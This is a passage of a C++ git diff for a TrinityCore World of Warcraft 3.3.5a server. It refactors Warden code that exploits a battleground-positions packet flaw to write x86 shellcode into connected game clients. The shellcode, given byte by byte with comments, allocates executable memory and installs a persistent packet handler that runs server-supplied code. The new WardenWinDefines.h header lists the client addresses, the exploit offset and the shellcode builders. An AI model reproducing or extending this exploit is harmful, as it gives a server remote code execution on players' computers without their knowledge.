payload. The same pointer is pushed twice - // because the game's register() takes two callback slots (likely - // "primary handler" and "fallback / secondary"); we want both to point - // at the same function. - // - // register(opcode = 0x4B8, - // primary_handler = buffer + 0x20, - // secondary_handler = buffer + 0x20) - // - // Stack layout right before the call (cdecl, args pushed right-to-left): - // [esp+0] = 0x4B8 (1st arg: opcode) - // [esp+4] = buffer + 0x20 (2nd arg: primary handler) - // [esp+8] = buffer + 0x20 (3rd arg: secondary handler) - // ------------------------------------------------------------------ - 0x89, 0xD8, // mov eax, ebx ; eax = buffer base - 0x83, 0xC0, 0x20, // add eax, 0x20 ; eax = buffer + 0x20 (handler) - 0x50, // push eax ; secondary handler - 0x50, // push eax ; primary handler - 0x68, 0xB8, 0x04, 0x00, 0x00, // push 0x4B8 ; packet opcode (1208) - 0xB8, 0x80, 0x0B, 0x6B, 0x00, // mov eax, 0x006B0B80 - 0xFF, 0xD0, // call eax ; register packet handler - 0x83, 0xC4, 0x0C, // add esp, 0x0C ; cdecl: clean 3 args - - // ------------------------------------------------------------------ - // Transfer control to the finalization stub at buffer + 0x00. We have - // to jump rather than fall through because the stub finishes the - // function frame (pops ebx/ebp, returns to caller) AFTER wiping the - // staging area at 0x00DD1000 -- see payload[] below. - // ------------------------------------------------------------------ - 0xFF, 0xE3 // jmp ebx - }; - - const uint8_t payload[] = { - // ================================================================== - // PART 1 -- Finalization stub (buffer offset 0x00, 32 bytes). - // - // Reached exactly once via `jmp ebx` from the loader. It wipes the - // staging area, sets a return value, and finishes the loader's - // function frame, returning to whatever called the loader. - // - // Why is this here instead of inline in the loader? The wipe targets - // 0x00DD1000, which is plausibly where this very code was first - // written by the delivery mechanism. Running the wipe from the new - // RWX buffer (rather than from 0x00DD1000 itself) avoids erasing - // the instructions we are currently executing. - // ================================================================== - - // memset(0x00DD1000, 0, 0x1000) -- clear 4 KB of staging memory. - 0x68, 0x00, 0x10, 0x00, 0x00, // push 0x1000 ; size - 0x6A, 0x00, // push 0 ; fill byte - 0x68, 0x00, 0x10, 0xDD, 0x00, // push 0x00DD1000 ; dst - 0xB8, 0x80, 0xBB, 0x40, 0x00, // mov eax, 0x0040BB80 - 0xFF, 0xD0, // call eax ; memset-like routine - 0x83, 0xC4, 0x0C, // add esp, 0x0C ; cdecl: clean 3 args - - // Loader return value. The caller of the loader expects a pointer (or - // handle) here; 0x00C79620 is ClientServices::s_accountName. - 0xB8, 0x20, 0x96, 0xC7, 0x00, // mov eax, 0x00C79620 - - // Function epilogue matching the loader's prologue: pop ebx, tear - // down the frame, return to the loader's caller. - 0x5B, // pop ebx - 0x89, 0xEC, // mov esp, ebp - 0x5D, // pop ebp - 0xC3, // ret - - // ================================================================== - // PART 2 -- Packet handler (buffer offset 0x20, 62 bytes). - // - // Called by the game's network dispatcher every time a packet with - // opcode 0x4B8 arrives. The dispatcher's calling convention here is - // assumed to be cdecl, with at least these arguments on the stack: - // - // [ebp+0x08] -> packet buffer (pointer to raw packet bytes) - // [ebp+0x14] -> dispatcher context object (used as `this`) - // - // The handler ultimately calls into bytes carried inside the packet - // itself, at offset 0x3E. That is the server-side hook point and the - // reason this whole installer exists. - // ================================================================== - - // Standard prologue. Saves ebx and edi (callee-saved). - 0x55, // push ebp - 0x89, 0xE5, // mov ebp, esp - 0x53, // push ebx - 0x57, // push edi - - // ebx = (packet buffer pointer) + 0x3E - // i.e. ebx points at the executable region embedded in the packet body. - 0x8B, 0x5D, 0x08, // mov ebx, [ebp+0x08] ; ebx = packet_buf - 0x83, 0xC3, 0x3E, // add ebx, 0x3E ; ebx = packet_buf + 0x3E - - // First helper call -- thiscall on the dispatcher context. - // eax = ctx->method_at_0x401170() - // Result is stashed in edi for the next two calls. - 0x8B, 0x4D, 0x14, // mov ecx, [ebp+0x14] ; this = context - 0xB8, 0x70, 0x11, 0x40, 0x00, // mov eax, 0x00401170 - 0xFF, 0xD0, // call eax - 0x89, 0xC7, // mov edi, eax - - // Second helper call -- thiscall on the same context, with two - // additional stack args (ebx = packet code ptr, edi = previous result). - // ctx->method_at_0x47B560(ebx, edi) - // No `add esp` afterwards: thiscall callee cleans its own stack args. - 0x8B, 0x4D, 0x14, // mov ecx, [ebp+0x14] ; this = context (reload) - 0x57, // push edi - 0x53, // push ebx - 0xB8, 0x60, 0xB5, 0x47, 0x00, // mov eax, 0x0047B560 - 0xFF, 0xD0, // call eax - - // Third call -- imported API via [0x009DF1C0], taking (ebx, edi). - // stdcall: callee cleans the stack. - // eax = imported_func_DF1C0(ebx, edi) - 0x57, // push edi - 0x53, // push ebx - 0xFF, 0x15, 0xC0, 0xF1, 0x9D, 0x00, // call dword ptr [0x009DF1C0] - - // Fourth call -- imported API via [0x009DF294], taking the result of - // the previous call. - // imported_func_DF294(eax_from_DF1C0) - 0x50, // push eax - 0xFF, 0x15, 0x94, 0xF2, 0x9D, 0x00, // call dword ptr [0x009DF294] - - // Final call -- into the packet body itself, at packet + 0x3E. The - // dispatcher context is passed as the single argument. The server- - // supplied code is expected to clean that argument off the stack - // itself (stdcall-like contract) so the epilogue below sees a - // balanced stack. - // - // ((void(__stdcall *)(void *))(packet + 0x3E))(context); - 0x8B, 0x4D, 0x14, // mov ecx, [ebp+0x14] - 0x51, // push ecx - 0xFF, 0xD3, // call ebx ; <-- server-supplied code - - // Standard epilogue. Pops the registers we saved, tears down the - // frame, and returns to the network dispatcher. - 0x5F, // pop edi - 0x5B, // pop ebx - 0x89, 0xEC, // mov esp, ebp - 0x5D, // pop ebp - 0xC3 // ret - }; - - constexpr size_t loader_size = sizeof(loader); - constexpr size_t loader_padded_size = (loader_size + 7) & ~size_t(7); - int32_t loader_count = static_cast(loader_padded_size); - - constexpr size_t payload_size = sizeof(payload); - - // The payload is sent via a flaw in the clients source. - // MSG_BATTLEGROUND_PLAYER_POSITIONS writes to a carefully - // crafted offset in the client (249298). - // This points do 0xDD1000 inside the client, which is - // read/write/execute space - ByteBuffer buff2; - buff2 << uint32(0); - buff2 << uint32(249298 + (loader_count / 8)); - while (loader_count > 0) { - for (int32_t i = 0; i < 8; i++) - { - size_t idx = loader_count - 8 + i; - buff2 << (idx < loader_size ? loader[idx] : uint8_t(0)); - } - for (int32_t i = 0; i < 8; i++) - { - size_t idx = loader_count - 8 + i; - buff2 << (idx < payload_size ? payload[idx] : uint8_t(0)); - } - loader_count -= 8; - } + // Install the BG-positions packet handler so the exploit write-primitive is available. + this->RunClientFunction(WardenPayload::Rva::BgPositionHandlerInstall); - WorldPacket pkt3(MSG_BATTLEGROUND_PLAYER_POSITIONS, buff2.size()); - pkt3.append(buff2); + // Send the shellcode installer via the MSG_BATTLEGROUND_PLAYER_POSITIONS exploit. + // This stages the loader and handler payload into Va::StagingBase (0xDD1000). + ByteBuffer installerBody; + WardenPayload::BuildShellcodeInstaller(installerBody); + WorldPacket pkt3(MSG_BATTLEGROUND_PLAYER_POSITIONS, installerBody.size()); + pkt3.append(installerBody); _session->SendPacket(&pkt3); - // Calls 0xDD1000 (Client base 0x400000 + 0x9D1000) - this->RunClientFunction(0x009D1000); + // Execute the staged loader (Va::StagingBase = 0xDD1000 = base + Rva::StagingLoader). + // The loader allocates the persistent RWX buffer, copies the handler payload into it, + // registers it for opcode 0x4B8, and wipes the staging area. + this->RunClientFunction(WardenPayload::Rva::StagingLoader); } -void WardenWin::RunClientFunction(uint32 function) { +void WardenWin::RunClientFunction(uint32 function) +{ ByteBuffer moduleInit; - moduleInit << uint8(4); + moduleInit << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc); moduleInit << uint8(0); moduleInit << uint8(0); moduleInit << function; moduleInit << uint8(1); + // Frame-advance payload: flush the previous call by running a no-op frame tick. ByteBuffer moduleInitFrameExecute; - moduleInitFrameExecute << uint8(4); + moduleInitFrameExecute << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc); moduleInitFrameExecute << uint8(0); moduleInitFrameExecute << uint8(0); - moduleInitFrameExecute << uint32(0x00419210); + moduleInitFrameExecute << uint32(WardenPayload::Rva::FrameExecute); moduleInitFrameExecute << uint8(1); // Build check request diff --git a/src/server/game/Warden/WardenWinDefines.h b/src/server/game/Warden/WardenWinDefines.h new file mode 100644 index 00000000..a7afa9ee --- /dev/null +++ b/src/server/game/Warden/WardenWinDefines.h @@ -0,0 +1,215 @@ +/* + * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +#ifndef WARDEN_WIN_DEFINES_H +#define WARDEN_WIN_DEFINES_H + +#include "Define.h" +#include + +// WoW 3.3.5a Windows client address map (image base 0x00400000). +namespace WardenPayload +{ + // Image-relative addresses (VA - 0x00400000). + // Passed to RunClientFunction; the Warden module applies the base before branching. + namespace Rva + { + enum : uint32 + { + // Installs the MSG_BATTLEGROUND_PLAYER_POSITIONS packet handler used as write-primitive. + BgPositionHandlerInstall = 0x0014E720, + // Frame-advance trampoline — flushes the previous call before dispatching the next. + FrameExecute = 0x00419210, + // Loader staging region (VA 0x00DD1000); written by exploit, executed once, then wiped. + StagingLoader = 0x009D1000, + }; + } + + // Absolute virtual addresses used directly in shellcode and packet fields. + namespace Va + { + enum : uint32 + { + // Unregisters MSG_BATTLEGROUND_PLAYER_POSITIONS after the exploit write. + BgPositionHandlerRemove = 0x0054E220, + // NetClient::RegisterPacketHandler(opcode, primary_fn, secondary_fn) cdecl. + RegisterPacketHandler = 0x006B0B80, + // [IAT] VirtualAlloc — allocates the persistent PAGE_EXECUTE_READWRITE buffer. + VirtualAllocIAT = 0x009DF238, + // Internal memset-equivalent: memset(dst, fill, size) cdecl, 3 args. + MemsetRoutine = 0x0040BB80, + // Loader is written here by the exploit, executed once, then wiped. + StagingBase = 0x00DD1000, + // Caches the RWX buffer pointer across reconnects; NULL on first run. + PersistentSlot = 0x00DD0FFC, + // Loader copies [PayloadCopySrc, PayloadCopySrcEnd) into the RWX buffer. + PayloadCopySrc = 0x00DD15A0, + PayloadCopySrcEnd = 0x00DD15FE, // exclusive + // Returns a context value consumed by HandlerBufferPrepare. + HandlerContextGetter = 0x00401170, + // PrepareBuffer(code_ptr, context_result) thiscall. + HandlerBufferPrepare = 0x0047B560, + // [IAT] Buffer allocator — likely CDataStore or equivalent. + HandlerBufferAllocIAT = 0x009DF1C0, + // [IAT] Buffer dispatcher — passes the allocated buffer downstream. + HandlerDispatchIAT = 0x009DF294, + // Return-value sentinel; points to ClientServices::s_accountName. + AccountName = 0x00C79620, + }; + } + + // Protocol layout constants for the loader/handler injection channel. + namespace Protocol + { + enum : uint32 + { + // CMSG_UNUSED5 repurposed as the server-controlled execution channel. + CustomHandlerOpcode = 0x04B8, + // Byte offset from RWX buffer start to the persistent packet handler entry point. + HandlerEntryOffset = 0x20, + // Byte offset into a CustomHandlerOpcode packet body where server-supplied code begins. + PacketCodeOffset = 0x3E, + // Player-count base that, combined with chunk count, triggers the write-primitive at Va::StagingBase. + BgExploitBaseCount = 249298, + // WARDEN_SMSG_MODULE_INITIALIZE sub-command: branch to a given RVA. + ModuleInitSubCmdCallFunc = 4, + + // rel8 target for jnz at end of CheckCachedBuffer -> RegisterHandler. + // = sizeof(AllocRwxBuffer) + sizeof(CacheBufferPtr) + sizeof(CopyPayload) + JnzSkipAllocOffset = 0x2E, + // rel8 target for jnz at end of CopyPayload -> loop start (negative displacement). + // = -(loop body: MovChEdxPtr + MovEaxPtrCh + IncEdx + IncEax + CmpEdxImm32 + LE32 + Jnz + Imm8) + JnzLoopBackOffset = 0xF2, + + // [ebp+0x08] holds the packet buffer pointer in the handler calling convention. + PacketArgEbpOffset = 0x08, + // [ebp+0x14] holds the dispatcher context object in the handler calling convention. + ContextArgEbpOffset = 0x14, + + // Stack cleanup after a 3-argument cdecl call (3 * sizeof(uint32) = 12). + CdeclThreeArgCleanup = 0x0C, + }; + } + + // Windows API constants embedded in the VirtualAlloc and memset shellcode sequences. + namespace Win32 + { + enum : uint32 + { + RwxBufferSize = 0x1000, // 4 KB: allocation size and staging wipe extent + MemCommit = 0x1000, // MEM_COMMIT allocation type + PageExecuteReadWrite = 0x40, // PAGE_EXECUTE_READWRITE protection flag + }; + } + + // x86 instruction byte sequences used in the shellcode. + // Sequences marked "prefix" require following operand byte(s) appended with operator+. + struct X86 + { + // ---- Single-byte: register push/pop ---- + static constexpr std::array PushEbp = { 0x55 }; + static constexpr std::array PushEbx = { 0x53 }; + static constexpr std::array PushEdi = { 0x57 }; + static constexpr std::array PushEax = { 0x50 }; + static constexpr std::array PushEcx = { 0x51 }; + static constexpr std::array PopEbp = { 0x5D }; + static constexpr std::array PopEbx = { 0x5B }; + static constexpr std::array PopEdi = { 0x5F }; + static constexpr std::array IncEax = { 0x40 }; + static constexpr std::array IncEdx = { 0x42 }; + static constexpr std::array Ret = { 0xC3 }; + + // ---- Single-byte: opcode prefixes (require imm operand to follow) ---- + static constexpr std::array PushImm8 = { 0x6A }; // push imm8 + static constexpr std::array PushImm32 = { 0x68 }; // push imm32 + static constexpr std::array MovEaxImm32 = { 0xB8 }; // mov eax, imm32 + static constexpr std::array MovEdxImm32 = { 0xBA }; // mov edx, imm32 + static constexpr std::array StoreEaxMem32 = { 0xA3 }; // mov [imm32], eax + static constexpr std::array Jnz = { 0x75 }; // jnz rel8 + + // ---- Two-byte: register-to-register moves ---- + static constexpr std::array MovEbpEsp = { 0x89, 0xE5 }; + static constexpr std::array MovEspEbp = { 0x89, 0xEC }; + static constexpr std::array MovEbxEax = { 0x89, 0xC3 }; // mov ebx, eax + static constexpr std::array MovEaxEbx = { 0x89, 0xD8 }; // mov eax, ebx + static constexpr std::array MovEdiEax = { 0x89, 0xC7 }; // mov edi, eax + + // ---- Two-byte: calls and jumps ---- + static constexpr std::array CallEax = { 0xFF, 0xD0 }; + static constexpr std::array CallEbx = { 0xFF, 0xD3 }; + static constexpr std::array JmpEbx = { 0xFF, 0xE3 }; + static constexpr std::array CallMem32 = { 0xFF, 0x15 }; // call [imm32] — prefix + + // ---- Two-byte: compare / test ---- + static constexpr std::array TestEbxEbx = { 0x85, 0xDB }; + static constexpr std::array CmpEdxImm32 = { 0x81, 0xFA }; // cmp edx, imm32 — prefix + + // ---- Two-byte: memory load prefix (require imm32 address to follow) ---- + static constexpr std::array MovEbxMem32 = { 0x8B, 0x1D }; // mov ebx, [imm32] + + // ---- Two-byte: arithmetic prefix (require imm8 operand to follow) ---- + static constexpr std::array AddEaxImm8 = { 0x83, 0xC0 }; // add eax, imm8 + static constexpr std::array AddEbxImm8 = { 0x83, 0xC3 }; // add ebx, imm8 + static constexpr std::array AddEspImm8 = { 0x83, 0xC4 }; // add esp, imm8 + + // ---- Two-byte: copy loop body ---- + static constexpr std::array MovChEdxPtr = { 0x8A, 0x2A }; // mov ch, byte ptr [edx] + static constexpr std::array MovEaxPtrCh = { 0x88, 0x28 }; // mov byte ptr [eax], ch + + // ---- Two-byte: stack slot load prefix (require imm8 offset to follow) ---- + static constexpr std::array MovEbxEbpOff = { 0x8B, 0x5D }; // mov ebx, [ebp+imm8] + static constexpr std::array MovEcxEbpOff = { 0x8B, 0x4D }; // mov ecx, [ebp+imm8] + + // ---- Common complete sequences ---- + static constexpr std::array PushZero = { 0x6A, 0x00 }; // push 0 (imm8 form) + }; + + // ----------------------------------------------------------------------- + // Compile-time byte-sequence builders. + // operator+ concatenates two fixed-size byte arrays into one larger array, enabling shellcode sections to be written as flat + chains. + // LE32 / Imm8 pack integer constants into their wire-format byte arrays. + // ----------------------------------------------------------------------- + + template + constexpr std::array operator+(std::array const& a, std::array const& b) + { + std::array result{}; + for (size_t i = 0; i < N; ++i) + result[i] = a[i]; + for (size_t i = 0; i < M; ++i) + result[N + i] = b[i]; + return result; + } + + constexpr std::array LE32(uint32 addr) + { + return + { + static_cast(addr & 0xFFu), + static_cast((addr >> 8) & 0xFFu), + static_cast((addr >> 16) & 0xFFu), + static_cast((addr >> 24) & 0xFFu) + }; + } + + constexpr std::array Imm8(uint32 value) + { + return { static_cast(value) }; + } +} + +#endif // WARDEN_WIN_DEFINES_H